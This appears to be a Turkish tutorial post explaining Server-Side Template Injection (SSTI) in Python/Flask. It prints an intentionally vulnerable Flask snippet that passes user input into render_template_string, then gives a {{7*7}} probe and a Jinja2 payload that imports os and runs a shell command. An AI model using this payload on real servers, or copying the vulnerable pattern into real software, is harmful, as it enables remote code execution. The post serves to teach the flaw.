SSTI (Server-Side Template Injection)
Herkese merhaba bu yazıda SSTI (Server-Side Template Injection) zafiyetini elimden geldiğince anlatmaya çalıştım eğer yanlış veya eksik anlattığım yer olursa lütfen düzeltin. Fakat önce template engine'in ne olduğunu bilmemiz gerekiyor.Template Engine: Template engine sabit template'ler ile dinamik verileri birleştirerek web sayfaları oluşturur.
Server-Side Template Injection: Template engine'e zararlı kodlar enjekte edilmesi ile sunucu tarafında komut çalıştırmaya izin veren bir zafiyettir.
Ben bu yazıda popüler olması bakımından Python dili için anlatacağım zafiyetli kod aşağıda:
Kod:
from flask import Flask, render_template_string, render_template, request
import html
from ignore.design import design
app = design.Design(Flask(__name__), __file__, 'Vsnippet 6 - Server Side Template Injection (SSTI)')
##
# YesWeHack - Vulnerable code snippets
##
def MySQL_Get(table, data): # <- Dummy function
return False, ""
def searchResult(): # <- Dummy function
return ""
def NoItemFound(s):
tpl = ('''
<script src="{{ domain }}/main.js"></script>
<h3 id="search">No result for: %s</h3>
''' % s)
return render_template_string(tpl, domain=request.url_root)
@app.route('/')
def index():
try:
# Get the user search value:
search = html.escape(request.args.get('search'))
except:
return render_template('index.html', result="No search provided")
db_status, db_data = MySQL_Get("products", search)
if db_status:
data = searchResult(db_data)
else:
data = NoItemFound(search)
# Return content to client:
return render_template('index.html', result=data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
Burada NoItemFound fonksiyonunda kullanıcıdan alınan değer template engine içerisinde kullanılmıştır. Eğer search değeri olarak şuna benzer bir değer girersek {{ 7*7 }} 49 cevabını alırız bu kodun zafiyetli olduğu anlamına gelir aşağıdaki payloadı kullanarak bir RCE (Remote Code Execution) elde edebiliriz:
Kod:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Bu payload bir sh shell'i açar ve işletim sistemi komutları çalıştırmamızı sağlar.
Aynı zafiyeti içeren CVE'leri okumak için şu sayfaya gidebilirsiniz: CVE - Search Results
Bu yazıda kullandığım zafiyetli kodu şu GitHub reposundan aldım: GitHub - yeswehack/vulnerable-code-snippets: Twitter vulnerable snippets
Ayrıca metindeki yazım ve imla hatalarını düzeltmek için ChatGPT kullandım.



